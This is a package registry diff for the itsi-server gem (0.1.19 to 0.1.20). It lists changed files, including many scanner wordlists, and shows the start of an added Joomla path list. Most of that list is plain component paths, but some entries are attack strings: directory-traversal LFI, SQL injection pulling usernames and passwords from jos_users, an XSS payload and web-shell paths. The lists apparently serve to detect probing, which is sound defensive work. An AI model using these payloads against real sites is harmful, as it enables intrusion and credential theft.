itsi-server 0.1.19 → 0.1.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/Cargo.lock +950 -239
- data/README.md +2 -0
- data/exe/itsi +5 -5
- data/ext/itsi_acme/Cargo.toml +86 -0
- data/ext/itsi_acme/examples/high_level.rs +63 -0
- data/ext/itsi_acme/examples/high_level_warp.rs +52 -0
- data/ext/itsi_acme/examples/low_level.rs +87 -0
- data/ext/itsi_acme/examples/low_level_axum.rs +66 -0
- data/ext/itsi_acme/src/acceptor.rs +81 -0
- data/ext/itsi_acme/src/acme.rs +354 -0
- data/ext/itsi_acme/src/axum.rs +86 -0
- data/ext/itsi_acme/src/cache.rs +39 -0
- data/ext/itsi_acme/src/caches/boxed.rs +80 -0
- data/ext/itsi_acme/src/caches/composite.rs +69 -0
- data/ext/itsi_acme/src/caches/dir.rs +106 -0
- data/ext/itsi_acme/src/caches/mod.rs +11 -0
- data/ext/itsi_acme/src/caches/no.rs +78 -0
- data/ext/itsi_acme/src/caches/test.rs +136 -0
- data/ext/itsi_acme/src/config.rs +172 -0
- data/ext/itsi_acme/src/https_helper.rs +69 -0
- data/ext/itsi_acme/src/incoming.rs +142 -0
- data/ext/itsi_acme/src/jose.rs +161 -0
- data/ext/itsi_acme/src/lib.rs +142 -0
- data/ext/itsi_acme/src/resolver.rs +59 -0
- data/ext/itsi_acme/src/state.rs +424 -0
- data/ext/itsi_server/Cargo.toml +3 -3
- data/ext/itsi_server/src/ruby_types/itsi_http_request.rs +2 -2
- data/ext/itsi_server/src/ruby_types/itsi_server/itsi_server_config.rs +150 -19
- data/ext/itsi_server/src/ruby_types/itsi_server.rs +1 -0
- data/ext/itsi_server/src/server/binds/listener.rs +34 -29
- data/ext/itsi_server/src/server/binds/tls/locked_dir_cache.rs +2 -2
- data/ext/itsi_server/src/server/binds/tls.rs +1 -1
- data/ext/itsi_server/src/server/middleware_stack/middleware.rs +33 -28
- data/ext/itsi_server/src/server/middleware_stack/middlewares/auth_jwt.rs +56 -3
- data/ext/itsi_server/src/server/middleware_stack/middlewares/csp.rs +179 -0
- data/ext/itsi_server/src/server/middleware_stack/middlewares/mod.rs +25 -2
- data/ext/itsi_server/src/server/middleware_stack/middlewares/ruby_app.rs +3 -3
- data/ext/itsi_server/src/server/middleware_stack/middlewares/static_assets.rs +2 -1
- data/ext/itsi_server/src/server/middleware_stack/mod.rs +32 -34
- data/ext/itsi_server/src/server/serve_strategy/cluster_mode.rs +10 -4
- data/ext/itsi_server/src/server/serve_strategy/single_mode.rs +30 -7
- data/ext/itsi_server/src/server/thread_worker.rs +2 -2
- data/ext/itsi_server/src/services/static_file_server.rs +30 -28
- data/ext/itsi_tracing/src/lib.rs +39 -8
- data/lib/itsi/server/config/config_helpers.rb +93 -0
- data/lib/itsi/server/config/dsl.rb +81 -33
- data/lib/itsi/server/config/known_paths/KitchensinkDirectories.txt +2346 -0
- data/lib/itsi/server/config/known_paths/Randomfiles.txt +24 -0
- data/lib/itsi/server/config/known_paths/UnixDotfiles.txt +52 -0
- data/lib/itsi/server/config/known_paths/backdoors/ASP_CommonBackdoors.txt +29 -0
- data/lib/itsi/server/config/known_paths/backdoors/bot_control_panels.txt +1668 -0
- data/lib/itsi/server/config/known_paths/backdoors/shells.txt +1167 -0
- data/lib/itsi/server/config/known_paths/cgi/CGI_HTTP_POST.txt +7 -0
- data/lib/itsi/server/config/known_paths/cgi/CGI_HTTP_POST_Windows.txt +6 -0
- data/lib/itsi/server/config/known_paths/cgi/CGI_Microsoft.txt +79 -0
- data/lib/itsi/server/config/known_paths/cgi/CGI_XPlatform.txt +3948 -0
- data/lib/itsi/server/config/known_paths/cms/README.md +5 -0
- data/lib/itsi/server/config/known_paths/cms/drupal_plugins.txt +6320 -0
- data/lib/itsi/server/config/known_paths/cms/drupal_themes.txt +828 -0
- data/lib/itsi/server/config/known_paths/cms/joomla_plugins.txt +224 -0
- data/lib/itsi/server/config/known_paths/cms/joomla_themes.txt +30 -0
- data/lib/itsi/server/config/known_paths/cms/php-nuke.txt +2142 -0
- data/lib/itsi/server/config/known_paths/cms/wordpress.txt +1566 -0
- data/lib/itsi/server/config/known_paths/cms/wp_common_theme_files.txt +46 -0
- data/lib/itsi/server/config/known_paths/cms/wp_plugins.txt +13366 -0
- data/lib/itsi/server/config/known_paths/cms/wp_plugins_full.txt +68662 -0
- data/lib/itsi/server/config/known_paths/cms/wp_plugins_top225.txt +225 -0
- data/lib/itsi/server/config/known_paths/cms/wp_themes.readme +12 -0
- data/lib/itsi/server/config/known_paths/cms/wp_themes.txt +7336 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/3CharExtBrute.txt +17576 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/CommonWebExtensions.txt +80 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/Extensions.Backup.txt +14 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/Extensions.Common.txt +865 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/Extensions.Compressed.txt +186 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/Extensions.Mostcommon.txt +30 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/Extensions.Skipfish.txt +93 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/WordlistSkipfish.txt +1918 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/copy_of.txt +8 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-directories-lowercase.txt +56180 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-directories.txt +62290 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-extensions-lowercase.txt +2367 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-extensions.txt +2450 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-files-lowercase.txt +35323 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-files.txt +37037 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-words-lowercase.txt +107982 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-large-words.txt +119600 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-directories-lowercase.txt +26593 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-directories.txt +30009 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-extensions-lowercase.txt +1233 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-extensions.txt +1289 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-files-lowercase.txt +16243 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-files.txt +17128 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-words-lowercase.txt +56293 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-medium-words.txt +63087 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-directories-lowercase.txt +17776 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-directories.txt +20122 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-extensions-lowercase.txt +914 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-extensions.txt +963 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-files-lowercase.txt +10848 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-files.txt +11424 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-words-lowercase.txt +38267 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/raft-small-words.txt +43003 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/spanish.txt +445 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/test_demo.txt +36 -0
- data/lib/itsi/server/config/known_paths/filename-dirname-bruteforce/upload_variants.txt +44 -0
- data/lib/itsi/server/config/known_paths/login-file-locations/Logins.txt +71 -0
- data/lib/itsi/server/config/known_paths/login-file-locations/cfm.txt +294 -0
- data/lib/itsi/server/config/known_paths/login-file-locations/html.txt +295 -0
- data/lib/itsi/server/config/known_paths/login-file-locations/jsp.txt +294 -0
- data/lib/itsi/server/config/known_paths/login-file-locations/php.txt +294 -0
- data/lib/itsi/server/config/known_paths/login-file-locations/windows-asp.txt +294 -0
- data/lib/itsi/server/config/known_paths/login-file-locations/windows-aspx.txt +294 -0
- data/lib/itsi/server/config/known_paths/password-file-locations/Passwords.txt +47 -0
- data/lib/itsi/server/config/known_paths/php/PHP.txt +30 -0
- data/lib/itsi/server/config/known_paths/php/PHP_CommonBackdoors.txt +5 -0
- data/lib/itsi/server/config/known_paths/proxy-conf.txt +31 -0
- data/lib/itsi/server/config/known_paths/tftp.txt +79 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/ADFS.txt +86 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/AdobeXML.txt +16 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Apache.txt +101 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/ApacheTomcat.txt +47 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Apache_Axis.txt +16 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/ColdFusion.txt +111 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/FatwireCMS.txt +390 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Frontpage.txt +38 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/HP_System_Mgmt_Homepage.txt +239 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/HTTP_POST_Microsoft.txt +2 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Hyperion.txt +578 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/IIS.txt +187 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/JBoss.txt +5 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/JRun.txt +13 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/JavaServlets_Common.txt +3 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Joomla_exploitable.txt +1937 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/LotusNotes.txt +206 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Netware.txt +18 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Oracle9i.txt +60 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/OracleAppServer.txt +192 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/README.md +6 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Ruby_Rails.txt +121 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/SAP.txt +463 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Sharepoint.txt +1707 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/SiteMinder.txt +19 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/SunAppServerGlassfish.txt +51 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/SuniPlanet.txt +35 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Vignette.txt +73 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Weblogic.txt +160 -0
- data/lib/itsi/server/config/known_paths/webservers-appservers/Websphere.txt +366 -0
- data/lib/itsi/server/config/known_paths/wellknown-rfc5785.txt +30 -0
- data/lib/itsi/server/config/known_paths.rb +17 -0
- data/lib/itsi/server/config/middleware/_index.md +54 -0
- data/lib/itsi/server/config/middleware/log_requests.md +63 -0
- data/lib/itsi/server/config/middleware/log_requests.rb +33 -0
- data/lib/itsi/server/config/middleware.rb +9 -0
- data/lib/itsi/server/config/option.rb +9 -0
- data/lib/itsi/server/config/options/_index.md +36 -0
- data/lib/itsi/server/config/options/fiber_scheduler.md +35 -0
- data/lib/itsi/server/config/options/fiber_scheduler.rb +18 -0
- data/lib/itsi/server/config/options/threads.md +39 -0
- data/lib/itsi/server/config/options/threads.rb +17 -0
- data/lib/itsi/server/config/options/workers.md +43 -0
- data/lib/itsi/server/config/options/workers.rb +17 -0
- data/lib/itsi/server/config/typed_struct.rb +203 -0
- data/lib/itsi/server/config.rb +124 -30
- data/lib/itsi/server/signal_trap.rb +5 -1
- data/lib/itsi/server/typed_handlers/source_parser.rb +1 -1
- data/lib/itsi/server/version.rb +1 -1
- data/lib/itsi/server.rb +27 -6
- data/lib/ruby_lsp/itsi/addon.rb +64 -48
- metadata +141 -5
- data/CHANGELOG.md +0 -10
- data/CODE_OF_CONDUCT.md +0 -139
- data/LICENSE.txt +0 -21
- data/_index.md +0 -6
@@ -0,0 +1,1937 @@
|
|
1
|
+
&controller=../../../../../../../../../../../../[LFI]%00
|
2
|
+
?1.5.10-x
|
3
|
+
?1.5.11-x-http_ref
|
4
|
+
?1.5.11-x-php-s3lf
|
5
|
+
?1.5.3-path-disclose
|
6
|
+
?1.5.3-spam
|
7
|
+
?1.5.8-x
|
8
|
+
?1.5.9-x
|
9
|
+
?j1012-fixate-session
|
10
|
+
?option=com_mysms&Itemid=0&task=phonebook
|
11
|
+
Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png
|
12
|
+
admin/
|
13
|
+
administrator/
|
14
|
+
administrator/components/
|
15
|
+
administrator/components/com_a6mambocredits/
|
16
|
+
administrator/components/com_a6mambohelpdesk/
|
17
|
+
administrator/components/com_admin/admin.admin.html.php
|
18
|
+
administrator/components/com_astatspro/refer.php
|
19
|
+
administrator/components/com_bayesiannaivefilter/
|
20
|
+
administrator/components/com_chronocontact/excelwriter/PPS/File.php
|
21
|
+
administrator/components/com_colophon/
|
22
|
+
administrator/components/com_colorlab/
|
23
|
+
administrator/components/com_comprofiler/
|
24
|
+
administrator/components/com_comprofiler/plugin.class.php
|
25
|
+
administrator/components/com_cropimage/admin.cropcanvas.php
|
26
|
+
administrator/components/com_extplorer/
|
27
|
+
administrator/components/com_feederator/includes/tmsp/add_tmsp.php
|
28
|
+
administrator/components/com_googlebase/
|
29
|
+
administrator/components/com_installer
|
30
|
+
administrator/components/com_jcs/
|
31
|
+
administrator/components/com_jim/
|
32
|
+
administrator/components/com_jjgallery/
|
33
|
+
administrator/components/com_joom12pic/
|
34
|
+
administrator/components/com_joomla-visites/
|
35
|
+
administrator/components/com_joomla_flash_uploader/
|
36
|
+
administrator/components/com_joomlaflashfun/
|
37
|
+
administrator/components/com_joomlaradiov5/
|
38
|
+
administrator/components/com_jpack/
|
39
|
+
administrator/components/com_jreactions/
|
40
|
+
administrator/components/com_juser/
|
41
|
+
administrator/components/com_admin/
|
42
|
+
administrator/components/com_kochsuite /
|
43
|
+
administrator/components/com_linkdirectory/
|
44
|
+
administrator/components/com_livechat/getSavedChatRooms.php
|
45
|
+
administrator/components/com_livechat/xmlhttp.php
|
46
|
+
administrator/components/com_lurm_constructor/admin.lurm_constructor.php
|
47
|
+
administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php");
|
48
|
+
administrator/components/com_mambelfish/
|
49
|
+
administrator/components/com_mgm/
|
50
|
+
administrator/components/com_mmp/help.mmp.php
|
51
|
+
administrator/components/com_mosmedia/
|
52
|
+
administrator/components/com_multibanners/extadminmenus.class.php
|
53
|
+
administrator/components/com_panoramic/
|
54
|
+
administrator/components/com_peoplebook/param.peoplebook.php
|
55
|
+
administrator/components/com_phpshop/toolbar.phpshop.html.php
|
56
|
+
administrator/components/com_remository/admin.remository.php
|
57
|
+
administrator/components/com_serverstat/install.serverstat.php
|
58
|
+
administrator/components/com_simpleswfupload/uploadhandler.php");
|
59
|
+
administrator/components/com_swmenupro/
|
60
|
+
administrator/components/com_treeg/
|
61
|
+
administrator/components/com_uhp/
|
62
|
+
administrator/components/com_uhp2/
|
63
|
+
administrator/components/com_webring/
|
64
|
+
administrator/components/com_wmtgallery/
|
65
|
+
administrator/components/com_wmtportfolio/
|
66
|
+
administrator/components/com_x-shop/
|
67
|
+
administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
|
68
|
+
administrator/index.php?option=com_searchlog&act=log
|
69
|
+
ajaxim/
|
70
|
+
akocomments.php
|
71
|
+
cart?Itemid=[SQLi]
|
72
|
+
component/com__brightweblinks/
|
73
|
+
component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0
|
74
|
+
component/osproperty/?task=agent_register
|
75
|
+
component/quran/index.php?option=com_quran&action=viewayat&surano=
|
76
|
+
components/com_ clickheat/
|
77
|
+
components/com_5starhotels/
|
78
|
+
components/com_Jambook/jambook.php
|
79
|
+
components/com_a6mambocredits/
|
80
|
+
components/com_a6mambohelpdesk/
|
81
|
+
components/com_ab_gallery/
|
82
|
+
components/com_acajoom/
|
83
|
+
components/com_acctexp/
|
84
|
+
components/com_aclassf/
|
85
|
+
components/com_activities/
|
86
|
+
components/com_actualite/
|
87
|
+
components/com_admin/admin.admin.html.php
|
88
|
+
components/com_advancedpoll/
|
89
|
+
components/com_agora/
|
90
|
+
components/com_agoragroup/
|
91
|
+
components/com_ajaxchat/
|
92
|
+
components/com_akobook/
|
93
|
+
components/com_akocomment/
|
94
|
+
components/com_akogallery
|
95
|
+
components/com_alberghi/
|
96
|
+
components/com_allhotels/
|
97
|
+
components/com_alphacontent/
|
98
|
+
components/com_altas/
|
99
|
+
components/com_amocourse/
|
100
|
+
components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php
|
101
|
+
components/com_articles/
|
102
|
+
components/com_artist/
|
103
|
+
components/com_artlinks/
|
104
|
+
components/com_asortyment/
|
105
|
+
components/com_astatspro/
|
106
|
+
components/com_awesom/
|
107
|
+
components/com_babackup/
|
108
|
+
components/com_banners/
|
109
|
+
components/com_bayesiannaivefilter/
|
110
|
+
components/com_be_it_easypartner/
|
111
|
+
components/com_beamospetition/
|
112
|
+
components/com_biblestudy/
|
113
|
+
components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
114
|
+
components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
115
|
+
components/com_blog/
|
116
|
+
components/com_bookflip/
|
117
|
+
components/com_bookjoomlas/
|
118
|
+
components/com_booklibrary/
|
119
|
+
components/com_books/
|
120
|
+
components/com_bsadv/
|
121
|
+
components/com_bsq_sitestats/
|
122
|
+
components/com_bsq_sitestats/external/rssfeed.php
|
123
|
+
components/com_bsqsitestats/
|
124
|
+
components/com_calendar/
|
125
|
+
components/com_camelcitydb2/
|
126
|
+
components/com_candle/
|
127
|
+
components/com_casino_blackjack/
|
128
|
+
components/com_casino_videopoker/
|
129
|
+
components/com_casinobase/
|
130
|
+
components/com_catalogproduction/
|
131
|
+
components/com_catalogshop/
|
132
|
+
components/com_category/
|
133
|
+
components/com_cgtestimonial/video.php?url="><script>alert('xss');</script>
|
134
|
+
components/com_chronocontact/excelwriter/PPS/File.php
|
135
|
+
components/com_cinema/
|
136
|
+
components/com_clasifier/
|
137
|
+
components/com_classifieds/
|
138
|
+
components/com_clickheat/
|
139
|
+
components/com_cloner/
|
140
|
+
components/com_cmimarketplace/
|
141
|
+
components/com_cms/
|
142
|
+
components/com_colophon/
|
143
|
+
components/com_colorlab/
|
144
|
+
components/com_competitions/
|
145
|
+
components/com_comprofiler/
|
146
|
+
components/com_comprofiler/plugin.class.php
|
147
|
+
components/com_contactinfo/
|
148
|
+
components/com_content/
|
149
|
+
components/com_cpg/cpg.php
|
150
|
+
components/com_cropimage/admin.cropcanvas.php
|
151
|
+
components/com_custompages/
|
152
|
+
components/com_cx/
|
153
|
+
components/com_d3000/
|
154
|
+
components/com_dadamail/
|
155
|
+
components/com_dailymessage/
|
156
|
+
components/com_datsogallery/
|
157
|
+
components/com_dbquery/
|
158
|
+
components/com_detail/
|
159
|
+
components/com_digistore/
|
160
|
+
components/com_directory/
|
161
|
+
components/com_djiceshoutbox/
|
162
|
+
components/com_doc/
|
163
|
+
components/com_downloads/
|
164
|
+
components/com_ds-syndicate/
|
165
|
+
components/com_dtregister/
|
166
|
+
components/com_dv/externals/phpupload/upload.php");
|
167
|
+
components/com_easybook/
|
168
|
+
components/com_emcomposer/
|
169
|
+
components/com_equotes/
|
170
|
+
components/com_estateagent/
|
171
|
+
components/com_eventing/
|
172
|
+
components/com_eventlist/
|
173
|
+
components/com_events/
|
174
|
+
components/com_ewriting/
|
175
|
+
components/com_expose/uploadimg.php
|
176
|
+
components/com_expshop/
|
177
|
+
components/com_extcalendar/
|
178
|
+
components/com_extcalendar/cal_popup.php?extmode=view&extid=
|
179
|
+
components/com_extcalendar/extcalendar.php
|
180
|
+
components/com_extended_registration/registration_detailed.inc.php
|
181
|
+
components/com_extplorer/
|
182
|
+
components/com_ezine/
|
183
|
+
components/com_ezstore/
|
184
|
+
components/com_facileforms/
|
185
|
+
components/com_fantasytournament/
|
186
|
+
components/com_faq/
|
187
|
+
components/com_feederator/includes/tmsp/add_tmsp.php
|
188
|
+
components/com_filebase/
|
189
|
+
components/com_filiale/
|
190
|
+
components/com_flashfun/
|
191
|
+
components/com_flashmagazinedeluxe/
|
192
|
+
components/com_flippingbook/
|
193
|
+
components/com_flyspray/startdown.php
|
194
|
+
components/com_fm/fm.install.php
|
195
|
+
components/com_foevpartners/
|
196
|
+
components/com_football/
|
197
|
+
components/com_formtool/
|
198
|
+
components/com_forum/
|
199
|
+
components/com_fq/
|
200
|
+
components/com_fundraiser/
|
201
|
+
components/com_galeria/
|
202
|
+
components/com_galleria/galleria.html.php
|
203
|
+
components/com_gallery/
|
204
|
+
components/com_game/
|
205
|
+
components/com_gameq/
|
206
|
+
components/com_garyscookbook/
|
207
|
+
components/com_genealogy/
|
208
|
+
components/com_geoboerse/
|
209
|
+
components/com_gigcal/
|
210
|
+
components/com_gmaps/
|
211
|
+
components/com_googlebase/
|
212
|
+
components/com_gsticketsystem/
|
213
|
+
components/com_guide/
|
214
|
+
components/com_hashcash/server.php
|
215
|
+
components/com_hbssearch/
|
216
|
+
components/com_hello_world/
|
217
|
+
components/com_hotproperties/
|
218
|
+
components/com_hotproperty/
|
219
|
+
components/com_hotspots/
|
220
|
+
components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php
|
221
|
+
components/com_hwdvideoshare/
|
222
|
+
components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1");
|
223
|
+
components/com_ice/
|
224
|
+
components/com_idoblog/
|
225
|
+
components/com_idvnews/
|
226
|
+
components/com_ignitegallery/
|
227
|
+
components/com_ijoomla_archive/
|
228
|
+
components/com_ijoomla_rss/
|
229
|
+
components/com_inter/
|
230
|
+
components/com_ionfiles/
|
231
|
+
components/com_is/
|
232
|
+
components/com_ixxocart/
|
233
|
+
components/com_jabode/
|
234
|
+
components/com_jashowcase/
|
235
|
+
components/com_jb2/
|
236
|
+
components/com_jce/
|
237
|
+
components/com_jcs/
|
238
|
+
components/com_jd-wiki/
|
239
|
+
components/com_jd-wp/
|
240
|
+
components/com_jim/
|
241
|
+
components/com_jjgallery/
|
242
|
+
components/com_jmovies/
|
243
|
+
components/com_jobline/
|
244
|
+
components/com_jombib/
|
245
|
+
components/com_joobb/
|
246
|
+
components/com_jooget/
|
247
|
+
components/com_joom12pic/
|
248
|
+
components/com_joomla-visites/
|
249
|
+
components/com_joomla_flash_uploader/
|
250
|
+
components/com_joomlaboard/
|
251
|
+
components/com_joomladate/
|
252
|
+
components/com_joomlaflashfun/
|
253
|
+
components/com_joomlalib/
|
254
|
+
components/com_joomlaradiov5/
|
255
|
+
components/com_joomlavvz/
|
256
|
+
components/com_joomlaxplorer/
|
257
|
+
components/com_joomloads/
|
258
|
+
components/com_joomradio/
|
259
|
+
components/com_joomtracker/
|
260
|
+
components/com_joovideo/
|
261
|
+
components/com_jotloader/
|
262
|
+
components/com_journal/
|
263
|
+
components/com_jpack/
|
264
|
+
components/com_jpad/
|
265
|
+
components/com_jreactions/
|
266
|
+
components/com_jreviews/scripts/xajax.inc.php
|
267
|
+
components/com_jumi/
|
268
|
+
components/com_juser/
|
269
|
+
components/com_jvideo/
|
270
|
+
components/com_k2/
|
271
|
+
components/com_kbase/
|
272
|
+
components/com_knowledgebase/fckeditor/fckeditor.js
|
273
|
+
components/com_kochsuite /
|
274
|
+
components/com_kunena/
|
275
|
+
components/com_letterman/
|
276
|
+
components/com_lexikon/
|
277
|
+
components/com_linkdirectory/
|
278
|
+
components/com_listoffreeads/
|
279
|
+
components/com_livechat/getSavedChatRooms.php
|
280
|
+
components/com_livechat/xmlhttp.php
|
281
|
+
components/com_liveticker/
|
282
|
+
components/com_lm/
|
283
|
+
components/com_lmo/
|
284
|
+
components/com_loudmounth/includes/abbc/abbc.class.php
|
285
|
+
components/com_loudmouth/
|
286
|
+
components/com_lowcosthotels/
|
287
|
+
components/com_lurm_constructor/admin.lurm_constructor.php
|
288
|
+
components/com_mad4joomla/
|
289
|
+
components/com_madeira/img.php
|
290
|
+
components/com_maianmusic/
|
291
|
+
components/com_mailarchive/
|
292
|
+
components/com_mailto/
|
293
|
+
components/com_mambatstaff/mambatstaff.php
|
294
|
+
components/com_mambelfish/
|
295
|
+
components/com_mambospgm/
|
296
|
+
components/com_mambowiki/MamboLogin.php
|
297
|
+
components/com_marketplace/
|
298
|
+
components/com_mcquiz/
|
299
|
+
components/com_mdigg/
|
300
|
+
components/com_media_library/
|
301
|
+
components/com_mediaslide/
|
302
|
+
components/com_mezun/
|
303
|
+
components/com_mgm/
|
304
|
+
components/com_minibb/
|
305
|
+
components/com_misterestate/
|
306
|
+
components/com_mmp/help.mmp.php
|
307
|
+
components/com_model/
|
308
|
+
components/com_moodle/moodle.php
|
309
|
+
components/com_moofaq/
|
310
|
+
components/com_mosmedia/
|
311
|
+
components/com_mospray/scripts/admin.php
|
312
|
+
components/com_mosres/
|
313
|
+
components/com_most/
|
314
|
+
components/com_mp3_allopass/
|
315
|
+
components/com_mtree/
|
316
|
+
components/com_mtree/img/listings/o/{id}.php
|
317
|
+
components/com_multibanners/extadminmenus.class.php
|
318
|
+
components/com_myalbum/
|
319
|
+
components/com_mycontent/
|
320
|
+
components/com_mydyngallery/
|
321
|
+
components/com_mygallery/
|
322
|
+
components/com_n-forms/
|
323
|
+
components/com_na_content/
|
324
|
+
components/com_na_mydocs/
|
325
|
+
components/com_na_newsdescription/
|
326
|
+
components/com_na_qforms/
|
327
|
+
components/com_neogallery/
|
328
|
+
components/com_neorecruit/
|
329
|
+
components/com_neoreferences/
|
330
|
+
components/com_netinvoice/
|
331
|
+
components/com_news/
|
332
|
+
components/com_news_portal/
|
333
|
+
components/com_newsflash/
|
334
|
+
components/com_nfn_addressbook/
|
335
|
+
components/com_nicetalk/
|
336
|
+
components/com_noticias/
|
337
|
+
components/com_omnirealestate/
|
338
|
+
components/com_omphotogallery/
|
339
|
+
components/com_ongumatimesheet20/
|
340
|
+
components/com_onlineflashquiz/
|
341
|
+
components/com_ownbiblio/
|
342
|
+
components/com_panoramic/
|
343
|
+
components/com_paxgallery/
|
344
|
+
components/com_paxxgallery/
|
345
|
+
components/com_pcchess/
|
346
|
+
components/com_pcchess/include.pcchess.php
|
347
|
+
components/com_pccookbook/
|
348
|
+
components/com_pccookbook/pccookbook.php
|
349
|
+
components/com_peoplebook/param.peoplebook.php
|
350
|
+
components/com_performs/
|
351
|
+
components/com_philaform/
|
352
|
+
components/com_phocadocumentation/
|
353
|
+
components/com_php/
|
354
|
+
components/com_phpshop/toolbar.phpshop.html.php
|
355
|
+
components/com_pinboard/
|
356
|
+
components/com_pms/
|
357
|
+
components/com_poll/
|
358
|
+
components/com_pollxt/
|
359
|
+
components/com_ponygallery/
|
360
|
+
components/com_portafolio/
|
361
|
+
components/com_portfol/
|
362
|
+
components/com_prayercenter/
|
363
|
+
components/com_pro_desk/
|
364
|
+
components/com_prod/
|
365
|
+
components/com_productshowcase/
|
366
|
+
components/com_profiler/
|
367
|
+
components/com_projectfork/
|
368
|
+
components/com_propertylab/
|
369
|
+
components/com_puarcade/
|
370
|
+
components/com_publication/
|
371
|
+
components/com_quiz/
|
372
|
+
components/com_rapidrecipe/
|
373
|
+
components/com_rdautos/
|
374
|
+
components/com_realestatemanager/
|
375
|
+
components/com_recly/
|
376
|
+
components/com_referenzen/
|
377
|
+
components/com_rekry/
|
378
|
+
components/com_remository/admin.remository.php
|
379
|
+
components/com_remository_files/file_image_14/1276100016shell.php
|
380
|
+
components/com_reporter/processor/reporter.sql.php
|
381
|
+
components/com_resman/
|
382
|
+
components/com_restaurante/
|
383
|
+
components/com_ricette/
|
384
|
+
components/com_rsfiles/
|
385
|
+
components/com_rsgallery/
|
386
|
+
components/com_rsgallery2/
|
387
|
+
components/com_rss/
|
388
|
+
components/com_rssreader/
|
389
|
+
components/com_rssxt/
|
390
|
+
components/com_rwcards/
|
391
|
+
components/com_school/
|
392
|
+
components/com_search/
|
393
|
+
components/com_sebercart/getPic.php?p=[LFD]%00
|
394
|
+
components/com_securityimages/
|
395
|
+
components/com_sef/
|
396
|
+
components/com_seminar/
|
397
|
+
components/com_serverstat/install.serverstat.php
|
398
|
+
components/com_sg/
|
399
|
+
components/com_simple_review/
|
400
|
+
